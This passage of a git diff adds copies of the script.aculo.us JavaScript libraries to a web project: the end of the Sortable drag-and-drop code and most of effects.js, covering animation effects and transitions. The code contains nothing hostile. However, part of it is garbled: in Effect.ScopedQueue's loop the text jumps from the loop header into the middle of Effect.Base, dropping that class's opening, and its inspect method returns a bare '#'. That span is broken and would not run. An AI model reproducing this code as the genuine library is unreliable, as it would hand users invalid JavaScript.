if(position=='after') + if(sortable.overlap == 'horizontal') + Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'}); + else + Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'}); + + Sortable._marker.show(); + }, + + _tree: function(element, options, parent) { + var children = Sortable.findElements(element, options) || []; + + for (var i = 0; i < children.length; ++i) { + var match = children[i].id.match(options.format); + + if (!match) continue; + + var child = { + id: encodeURIComponent(match ? match[1] : null), + element: element, + parent: parent, + children: [], + position: parent.children.length, + container: $(children[i]).down(options.treeTag) + } + + /* Get the element containing the children and recurse over it */ + if (child.container) + this._tree(child.container, options, child) + + parent.children.push (child); + } + + return parent; + }, + + tree: function(element) { + element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + treeTag: sortableOptions.treeTag, + only: sortableOptions.only, + name: element.id, + format: sortableOptions.format + }, arguments[1] || {}); + + var root = { + id: null, + parent: null, + children: [], + container: element, + position: 0 + } + + return Sortable._tree(element, options, root); + }, + + /* Construct a [i] index for a particular node */ + _constructIndex: function(node) { + var index = ''; + do { + if (node.id) index = '[' + node.position + ']' + index; + } while ((node = node.parent) != null); + return index; + }, + + sequence: function(element) { + element = $(element); + var options = Object.extend(this.options(element), arguments[1] || {}); + + return $(this.findElements(element, options) || []).map( function(item) { + return item.id.match(options.format) ? item.id.match(options.format)[1] : ''; + }); + }, + + setSequence: function(element, new_sequence) { + element = $(element); + var options = Object.extend(this.options(element), arguments[2] || {}); + + var nodeMap = {}; + this.findElements(element, options).each( function(n) { + if (n.id.match(options.format)) + nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode]; + n.parentNode.removeChild(n); + }); + + new_sequence.each(function(ident) { + var n = nodeMap[ident]; + if (n) { + n[1].appendChild(n[0]); + delete nodeMap[ident]; + } + }); + }, + + serialize: function(element) { + element = $(element); + var options = Object.extend(Sortable.options(element), arguments[1] || {}); + var name = encodeURIComponent( + (arguments[1] && arguments[1].name) ? arguments[1].name : element.id); + + if (options.tree) { + return Sortable.tree(element, arguments[1]).children.map( function (item) { + return [name + Sortable._constructIndex(item) + "[id]=" + + encodeURIComponent(item.id)].concat(item.children.map(arguments.callee)); + }).flatten().join('&'); + } else { + return Sortable.sequence(element, arguments[1]).map( function(item) { + return name + "[]=" + encodeURIComponent(item); + }).join('&'); + } + } +} + +// Returns true if child is contained within element +Element.isParent = function(child, element) { + if (!child.parentNode || child == element) return false; + if (child.parentNode == element) return true; + return Element.isParent(child.parentNode, element); +} + +Element.findChildren = function(element, only, recursive, tagName) { + if(!element.hasChildNodes()) return null; + tagName = tagName.toUpperCase(); + if(only) only = [only].flatten(); + var elements = []; + $A(element.childNodes).each( function(e) { + if(e.tagName && e.tagName.toUpperCase()==tagName && + (!only || (Element.classNames(e).detect(function(v) { return only.include(v) })))) + elements.push(e); + if(recursive) { + var grandchildren = Element.findChildren(e, only, recursive, tagName); + if(grandchildren) elements.push(grandchildren); + } + }); + + return (elements.length>0 ? elements.flatten() : []); +} + +Element.offsetSize = function (element, type) { + return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')]; +} diff --git a/public/javascripts/lib/effects.js b/public/javascripts/lib/effects.js new file mode 100644 index 0000000..b84eb0c --- /dev/null +++ b/public/javascripts/lib/effects.js @@ -0,0 +1,1097 @@ +// script.aculo.us effects.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// Contributors: +// Justin Palmer (http://encytemedia.com/) +// Mark Pilgrim (http://diveintomark.org/) +// Martin Bialasinki +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +// converts rgb() and #xxx to #xxxxxx format, +// returns self (or first argument) if not convertable +String.prototype.parseColor = function() { + var color = '#'; + if(this.slice(0,4) == 'rgb(') { + var cols = this.slice(4,this.length-1).split(','); + var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); + } else { + if(this.slice(0,1) == '#') { + if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); + if(this.length==7) color = this.toLowerCase(); + } + } + return(color.length==7 ? color : (arguments[0] || this)); +} + +/*--------------------------------------------------------------------------*/ + +Element.collectTextNodes = function(element) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + (node.hasChildNodes() ? Element.collectTextNodes(node) : '')); + }).flatten().join(''); +} + +Element.collectTextNodesIgnoreClass = function(element, className) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? + Element.collectTextNodesIgnoreClass(node, className) : '')); + }).flatten().join(''); +} + +Element.setContentZoom = function(element, percent) { + element = $(element); + element.setStyle({fontSize: (percent/100) + 'em'}); + if(Prototype.Browser.WebKit) window.scrollBy(0,0); + return element; +} + +Element.getInlineOpacity = function(element){ + return $(element).style.opacity || ''; +} + +Element.forceRerendering = function(element) { + try { + element = $(element); + var n = document.createTextNode(' '); + element.appendChild(n); + element.removeChild(n); + } catch(e) { } +}; + +/*--------------------------------------------------------------------------*/ + +Array.prototype.call = function() { + var args = arguments; + this.each(function(f){ f.apply(this, args) }); +} + +/*--------------------------------------------------------------------------*/ + +var Effect = { + _elementDoesNotExistError: { + name: 'ElementDoesNotExistError', + message: 'The specified DOM element does not exist, but is required for this effect to operate' + }, + tagifyText: function(element) { + if(typeof Builder == 'undefined') + throw("Effect.tagifyText requires including script.aculo.us' builder.js library"); + + var tagifyStyle = 'position:relative'; + if(Prototype.Browser.IE) tagifyStyle += ';zoom:1'; + + element = $(element); + $A(element.childNodes).each( function(child) { + if(child.nodeType==3) { + child.nodeValue.toArray().each( function(character) { + element.insertBefore( + Builder.node('span',{style: tagifyStyle}, + character == ' ' ? String.fromCharCode(160) : character), + child); + }); + Element.remove(child); + } + }); + }, + multiple: function(element, effect) { + var elements; + if(((typeof element == 'object') || + (typeof element == 'function')) && + (element.length)) + elements = element; + else + elements = $(element).childNodes; + + var options = Object.extend({ + speed: 0.1, + delay: 0.0 + }, arguments[2] || {}); + var masterDelay = options.delay; + + $A(elements).each( function(element, index) { + new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay })); + }); + }, + PAIRS: { + 'slide': ['SlideDown','SlideUp'], + 'blind': ['BlindDown','BlindUp'], + 'appear': ['Appear','Fade'] + }, + toggle: function(element, effect) { + element = $(element); + effect = (effect || 'appear').toLowerCase(); + var options = Object.extend({ + queue: { position:'end', scope:(element.id || 'global'), limit: 1 } + }, arguments[2] || {}); + Effect[element.visible() ? + Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options); + } +}; + +var Effect2 = Effect; // deprecated + +/* ------------- transitions ------------- */ + +Effect.Transitions = { + linear: Prototype.K, + sinoidal: function(pos) { + return (-Math.cos(pos*Math.PI)/2) + 0.5; + }, + reverse: function(pos) { + return 1-pos; + }, + flicker: function(pos) { + var pos = ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; + return (pos > 1 ? 1 : pos); + }, + wobble: function(pos) { + return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; + }, + pulse: function(pos, pulses) { + pulses = pulses || 5; + return ( + Math.round((pos % (1/pulses)) * pulses) == 0 ? + ((pos * pulses * 2) - Math.floor(pos * pulses * 2)) : + 1 - ((pos * pulses * 2) - Math.floor(pos * pulses * 2)) + ); + }, + none: function(pos) { + return 0; + }, + full: function(pos) { + return 1; + } +}; + +/* ------------- core effects ------------- */ + +Effect.ScopedQueue = Class.create(); +Object.extend(Object.extend(Effect.ScopedQueue.prototype, Enumerable), { + initialize: function() { + this.effects = []; + this.interval = null; + }, + _each: function(iterator) { + this.effects._each(iterator); + }, + add: function(effect) { + var timestamp = new Date().getTime(); + + var position = (typeof effect.options.queue == 'string') ? + effect.options.queue : effect.options.queue.position; + + switch(position) { + case 'front': + // move unstarted effects after this effect + this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { + e.startOn += effect.finishOn; + e.finishOn += effect.finishOn; + }); + break; + case 'with-last': + timestamp = this.effects.pluck('startOn').max() || timestamp; + break; + case 'end': + // start effect after last queued effect has finished + timestamp = this.effects.pluck('finishOn').max() || timestamp; + break; + } + + effect.startOn += timestamp; + effect.finishOn += timestamp; + + if(!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) + this.effects.push(effect); + + if(!this.interval) + this.interval = setInterval(this.loop.bind(this), 15); + }, + remove: function(effect) { + this.effects = this.effects.reject(function(e) { return e==effect }); + if(this.effects.length == 0) { + clearInterval(this.interval); + this.interval = null; + } + }, + loop: function() { + var timePos = new Date().getTime(); + for(var i=0, len=this.effects.length;i= this.startOn) { + if(timePos >= this.finishOn) { + this.render(1.0); + this.cancel(); + this.event('beforeFinish'); + if(this.finish) this.finish(); + this.event('afterFinish'); + return; + } + var pos = (timePos - this.startOn) / this.totalTime, + frame = Math.round(pos * this.totalFrames); + if(frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + } + }, + cancel: function() { + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).remove(this); + this.state = 'finished'; + }, + event: function(eventName) { + if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); + if(this.options[eventName]) this.options[eventName](this); + }, + inspect: function() { + var data = $H(); + for(property in this) + if(typeof this[property] != 'function') data[property] = this[property]; + return '#'; + } +} + +Effect.Parallel = Class.create(); +Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + this.effects.invoke('render', position); + }, + finish: function(position) { + this.effects.each( function(effect) { + effect.render(1.0); + effect.cancel(); + effect.event('beforeFinish'); + if(effect.finish) effect.finish(position); + effect.event('afterFinish'); + }); + } +}); + +Effect.Event = Class.create(); +Object.extend(Object.extend(Effect.Event.prototype, Effect.Base.prototype), { + initialize: function() { + var options = Object.extend({ + duration: 0 + }, arguments[0] || {}); + this.start(options); + }, + update: Prototype.emptyFunction +}); + +Effect.Opacity = Class.create(); +Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + // make this work on IE on elements without 'layout' + if(Prototype.Browser.IE && (!this.element.currentStyle.hasLayout)) + this.element.setStyle({zoom: 1}); + var options = Object.extend({ + from: this.element.getOpacity() || 0.0, + to: 1.0 + }, arguments[1] || {}); + this.start(options); + }, + update: function(position) { + this.element.setOpacity(position); + } +}); + +Effect.Move = Class.create(); +Object.extend(Object.extend(Effect.Move.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + x: 0, + y: 0, + mode: 'relative' + }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Bug in Opera: Opera returns the "real" position of a static element or + // relative element that does not have top/left explicitly set. + // ==> Always set top and left for position relative elements in your stylesheets + // (to 0 if you do not need them) + this.element.makePositioned(); + this.originalLeft = parseFloat(this.element.getStyle('left') || '0'); + this.originalTop = parseFloat(this.element.getStyle('top') || '0'); + if(this.options.mode == 'absolute') { + // absolute movement, so we need to calc deltaX and deltaY + this.options.x = this.options.x - this.originalLeft; + this.options.y = this.options.y - this.originalTop; + } + }, + update: function(position) { + this.element.setStyle({ + left: Math.round(this.options.x * position + this.originalLeft) + 'px', + top: Math.round(this.options.y * position + this.originalTop) + 'px' + }); + } +}); + +// for backwards compatibility +Effect.MoveBy = function(element, toTop, toLeft) { + return new Effect.Move(element, + Object.extend({ x: toLeft, y: toTop }, arguments[3] || {})); +}; + +Effect.Scale = Class.create(); +Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { + initialize: function(element, percent) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or {} with provided values + scaleFrom: 100.0, + scaleTo: percent + }, arguments[2] || {}); + this.start(options); + }, + setup: function() { + this.restoreAfterFinish = this.options.restoreAfterFinish || false; + this.elementPositioning = this.element.getStyle('position'); + + this.originalStyle = {}; + ['top','left','width','height','fontSize'].each( function(k) { + this.originalStyle[k] = this.element.style[k]; + }.bind(this)); + + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + + var fontSize = this.element.getStyle('font-size') || '100%'; + ['em','px','%','pt'].each( function(fontSizeType) { + if(fontSize.indexOf(fontSizeType)>0) { + this.fontSize = parseFloat(fontSize); + this.fontSizeType = fontSizeType; + } + }.bind(this)); + + this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; + + this.dims = null; + if(this.options.scaleMode=='box') + this.dims = [this.element.offsetHeight, this.element.offsetWidth]; + if(/^content/.test(this.options.scaleMode)) + this.dims = [this.element.scrollHeight, this.element.scrollWidth]; + if(!this.dims) + this.dims = [this.options.scaleMode.originalHeight, + this.options.scaleMode.originalWidth]; + }, + update: function(position) { + var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if(this.options.scaleContent && this.fontSize) + this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType }); + this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); + }, + finish: function(position) { + if(this.restoreAfterFinish) this.element.setStyle(this.originalStyle); + }, + setDimensions: function(height, width) { + var d = {}; + if(this.options.scaleX) d.width = Math.round(width) + 'px'; + if(this.options.scaleY) d.height = Math.round(height) + 'px'; + if(this.options.scaleFromCenter) { + var topd = (height - this.dims[0])/2; + var leftd = (width - this.dims[1])/2; + if(this.elementPositioning == 'absolute') { + if(this.options.scaleY) d.top = this.originalTop-topd + 'px'; + if(this.options.scaleX) d.left = this.originalLeft-leftd + 'px'; + } else { + if(this.options.scaleY) d.top = -topd + 'px'; + if(this.options.scaleX) d.left = -leftd + 'px'; + } + } + this.element.setStyle(d); + } +}); + +Effect.Highlight = Class.create(); +Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Prevent executing on elements not in the layout flow + if(this.element.getStyle('display')=='none') { this.cancel(); return; } + // Disable background image during the effect + this.oldStyle = {}; + if (!this.options.keepBackgroundImage) { + this.oldStyle.backgroundImage = this.element.getStyle('background-image'); + this.element.setStyle({backgroundImage: 'none'}); + } + if(!this.options.endcolor) + this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff'); + if(!this.options.restorecolor) + this.options.restorecolor = this.element.getStyle('background-color'); + // init color calculations + this._base = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this)); + this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this)); + }, + update: function(position) { + this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){ + return m+(Math.round(this._base[i]+(this._delta[i]*position)).toColorPart()); }.bind(this)) }); + }, + finish: function() { + this.element.setStyle(Object.extend(this.oldStyle, { + backgroundColor: this.options.restorecolor + })); + } +}); + +Effect.ScrollTo = Class.create(); +Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + this.start(arguments[1] || {}); + }, + setup: function() { + Position.prepare(); + var offsets = Position.cumulativeOffset(this.element); + if(this.options.offset) offsets[1] += this.options.offset; + var max = window.innerHeight ? + window.height - window.innerHeight : + document.body.scrollHeight - + (document.documentElement.clientHeight ? + document.documentElement.clientHeight : document.body.clientHeight); + this.scrollStart = Position.deltaY; + this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; + }, + update: function(position) { + Position.prepare(); + window.scrollTo(Position.deltaX, + this.scrollStart + (position*this.delta)); + } +}); + +/* ------------- combination effects ------------- */ + +Effect.Fade = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + var options = Object.extend({ + from: element.getOpacity() || 1.0, + to: 0.0, + afterFinishInternal: function(effect) { + if(effect.options.to!=0) return; + effect.element.hide().setStyle({opacity: oldOpacity}); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Appear = function(element) { + element = $(element); + var options = Object.extend({ + from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0), + to: 1.0, + // force Safari to render floated elements properly + afterFinishInternal: function(effect) { + effect.element.forceRerendering(); + }, + beforeSetup: function(effect) { + effect.element.setOpacity(effect.options.from).show(); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Puff = function(element) { + element = $(element); + var oldStyle = { + opacity: element.getInlineOpacity(), + position: element.getStyle('position'), + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height + }; + return new Effect.Parallel( + [ new Effect.Scale(element, 200, + { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], + Object.extend({ duration: 1.0, + beforeSetupInternal: function(effect) { + Position.absolutize(effect.effects[0].element) + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().setStyle(oldStyle); } + }, arguments[1] || {}) + ); +} + +Effect.BlindUp = function(element) { + element = $(element); + element.makeClipping(); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + restoreAfterFinish: true, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping(); + } + }, arguments[1] || {}) + ); +} + +Effect.BlindDown = function(element) { + element = $(element); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makeClipping().setStyle({height: '0px'}).show(); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + } + }, arguments[1] || {})); +} + +Effect.SwitchOff = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + return new Effect.Appear(element, Object.extend({ + duration: 0.4, + from: 0, + transition: Effect.Transitions.flicker, + afterFinishInternal: function(effect) { + new Effect.Scale(effect.element, 1, { + duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makePositioned().makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity}); + } + }) + } + }, arguments[1] || {})); +} + +Effect.DropOut = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left'), + opacity: element.getInlineOpacity() }; + return new Effect.Parallel( + [ new Effect.Move(element, {x: 0, y: 100, sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 }) ], + Object.extend( + { duration: 0.5, + beforeSetup: function(effect) { + effect.effects[0].element.makePositioned(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle); + } + }, arguments[1] || {})); +} + +Effect.Shake = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left') }; + return new Effect.Move(element, + { x: 20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + effect.element.undoPositioned().setStyle(oldStyle); + }}) }}) }}) }}) }}) }}); +} + +Effect.SlideDown = function(element) { + element = $(element).cleanWhitespace(); + // SlideDown need to have the content of the element wrapped in a container element with fixed height! + if(element.down()) var oldInnerBottom = element.down().getStyle('bottom'); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: window.opera ? 0 : 1, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makePositioned(); + if(element.down()) effect.element.down().makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping().setStyle({height: '0px'}).show(); + }, + afterUpdateInternal: function(effect) { + if(element.down()) effect.element.down().setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping().undoPositioned(); + if(element.down()) effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || {}) + ); +} + +Effect.SlideUp = function(element) { + element = $(element).cleanWhitespace(); + + var oldInnerBottom = ""; + if(element.down() != null) oldInnerBottom = element.down().getStyle('bottom'); + + return new Effect.Scale(element, window.opera ? 0 : 1, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'box', + scaleFrom: 100, + restoreAfterFinish: true, + beforeStartInternal: function(effect) { + effect.element.makePositioned(); + if(element.down()) effect.element.down().makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping().show(); + }, + afterUpdateInternal: function(effect) { + if(element.down()) effect.element.down().setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().undoPositioned().setStyle({bottom: oldInnerBottom}); + if(element.down()) effect.element.down().undoPositioned(); + } + }, arguments[1] || {}) + ); +} + +// Bug in opera makes the TD containing this element expand for a instance after finish +Effect.Squish = function(element) { + return new Effect.Scale(element, window.opera ? 1 : 0, { + restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping(); + } + }); +} + +Effect.Grow = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.full + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = dims.width; + initialMoveY = moveY = 0; + moveX = -dims.width; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = dims.height; + moveY = -dims.height; + break; + case 'bottom-right': + initialMoveX = dims.width; + initialMoveY = dims.height; + moveX = -dims.width; + moveY = -dims.height; + break; + case 'center': + initialMoveX = dims.width / 2; + initialMoveY = dims.height / 2; + moveX = -dims.width / 2; + moveY = -dims.height / 2; + break; + } + + return new Effect.Move(element, { + x: initialMoveX, + y: initialMoveY, + duration: 0.01, + beforeSetup: function(effect) { + effect.element.hide().makeClipping().makePositioned(); + }, + afterFinishInternal: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }), + new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }), + new Effect.Scale(effect.element, 100, { + scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, + sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true}) + ], Object.extend({ + beforeSetup: function(effect) { + effect.effects[0].element.setStyle({height: '0px'}).show(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); + } + }, options) + ) + } + }); +} + +Effect.Shrink = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.none + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = dims.width; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = dims.height; + break; + case 'bottom-right': + moveX = dims.width; + moveY = dims.height; + break; + case 'center': + moveX = dims.width / 2; + moveY = dims.height / 2; + break; + } + + return new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }), + new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}), + new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }) + ], Object.extend({ + beforeStartInternal: function(effect) { + effect.effects[0].element.makePositioned().makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); } + }, options) + ); +} + +Effect.Pulsate = function(element) { + element = $(element); + var options = arguments[1] || {}; + var oldOpacity = element.getInlineOpacity(); + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) }; + reverser.bind(transition); + return new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 2.0, from: 0, + afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); } + }, options), {transition: reverser})); +} + +Effect.Fold = function(element) { + element = $(element); + var oldStyle = { + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height }; + element.makeClipping(); + return new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleX: false, + afterFinishInternal: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleY: false, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().setStyle(oldStyle); + } }); + }}, arguments[1] || {})); +}; + +Effect.Morph = Class.create(); +Object.extend(Object.extend(Effect.Morph.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + style: {} + }, arguments[1] || {}); + if (typeof options.style == 'string') { + if(options.style.indexOf(':') == -1) { + var cssText = '', selector = '.' + options.style; + $A(document.styleSheets).reverse().each(function(styleSheet) { + if (styleSheet.cssRules) cssRules = styleSheet.cssRules; + else if (styleSheet.rules) cssRules = styleSheet.rules; + $A(cssRules).reverse().each(function(rule) { + if (selector == rule.selectorText) { + cssText = rule.style.cssText; + throw $break; + } + }); + if (cssText) throw $break; + }); + this.style = cssText.parseStyle(); + options.afterFinishInternal = function(effect){ + effect.element.addClassName(effect.options.style); + effect.transforms.each(function(transform) { + if(transform.style != 'opacity') + effect.element.style[transform.style] = ''; + }); + } + } else this.style = options.style.parseStyle(); + } else this.style = $H(options.style) + this.start(options); + }, + setup: function(){ + function parseColor(color){ + if(!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff'; + color = color.parseColor(); + return $R(0,2).map(function(i){ + return parseInt( color.slice(i*2+1,i*2+3), 16 ) + }); + } + this.transforms = this.style.map(function(pair){ + var property = pair[0], value = pair[1], unit = null; + + if(value.parseColor('#zzzzzz') != '#zzzzzz') { + value = value.parseColor(); + unit = 'color'; + } else if(property == 'opacity') { + value = parseFloat(value); + if(Prototype.Browser.IE && (!this.element.currentStyle.hasLayout)) + this.element.setStyle({zoom: 1}); + } else if(Element.CSS_LENGTH.test(value)) { + var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/); + value = parseFloat(components[1]); + unit = (components.length == 3) ? components[2] : null; + } + + var originalValue = this.element.getStyle(property); + return { + style: property.camelize(), + originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0), + targetValue: unit=='color' ? parseColor(value) : value, + unit: unit + }; + }.bind(this)).reject(function(transform){ + return ( + (transform.originalValue == transform.targetValue) || + ( + transform.unit != 'color' && + (isNaN(transform.originalValue) || isNaN(transform.targetValue)) + ) + ) + }); + }, + update: function(position) { + var style = {}, transform, i = this.transforms.length; + while(i--) + style[(transform = this.transforms[i]).style] = + transform.unit=='color' ? '#'+ + (Math.round(transform.originalValue[0]+ + (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() + + (Math.round(transform.originalValue[1]+ + (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() + + (Math.round(transform.originalValue[2]+ + (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() : + transform.originalValue + Math.round( + ((transform.targetValue - transform.originalValue) * position) * 1000)/1000 + transform.unit; + this.element.setStyle(style, true); + } +}); + +Effect.Transform = Class.create(); +Object.extend(Effect.Transform.prototype, { + initialize: function(tracks){ + this.tracks = []; + this.options = arguments[1] || {}; + this.addTracks(tracks); + }, + addTracks: function(tracks){ + tracks.each(function(track){ + var data = $H(track).values().first(); + this.tracks.push($H({ + ids: $H(track).keys().first(), + effect: Effect.Morph, + options: { style: data } + })); + }.bind(this)); + return this; + }, + play: function(){ + return new Effect.Parallel( + this.tracks.map(function(track){ + var elements = [$(track.ids) || $$(track.ids)].flatten(); + return elements.map(function(e){ return new track.effect(e, Object.extend({ sync:true }, track.options)) }); + }).flatten(), + this.options + 